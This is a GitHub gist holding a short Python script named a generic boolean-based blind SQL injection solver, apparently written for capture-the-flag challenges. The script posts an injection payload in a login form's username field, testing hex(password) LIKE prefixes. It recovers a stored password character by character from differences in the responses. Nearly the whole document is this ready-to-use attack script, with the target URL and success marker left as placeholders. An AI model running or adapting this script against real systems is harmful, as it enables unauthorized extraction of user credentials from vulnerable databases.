Skip to content

Instantly share code, notes, and snippets.

@dnorhoj
Last active May 20, 2024 22:30
Show Gist options
  • Save dnorhoj/68dc645fc416482ce31f1a30fc97be39 to your computer and use it in GitHub Desktop.
Save dnorhoj/68dc645fc416482ce31f1a30fc97be39 to your computer and use it in GitHub Desktop.
Generic boolean-based blind sql injection solver
import requests
URL = "..."
def hexify(password: str) -> str:
realpass = ""
for i in password:
if i == "_":
realpass += "__"
else:
realpass += i.encode().hex()
return realpass
def test(password: str) -> bool:
r = requests.post(URL, data={
"username": f'" OR hex(password) LIKE "{hexify(password)}%"; -- -',
"password": "hej"
})
return "..." not in r.text
ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$!{}?._"
has = ""
while True:
for i in ALPHA:
if test(has + i):
has += i
print(has)
break
else:
print("DONE:",has)
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment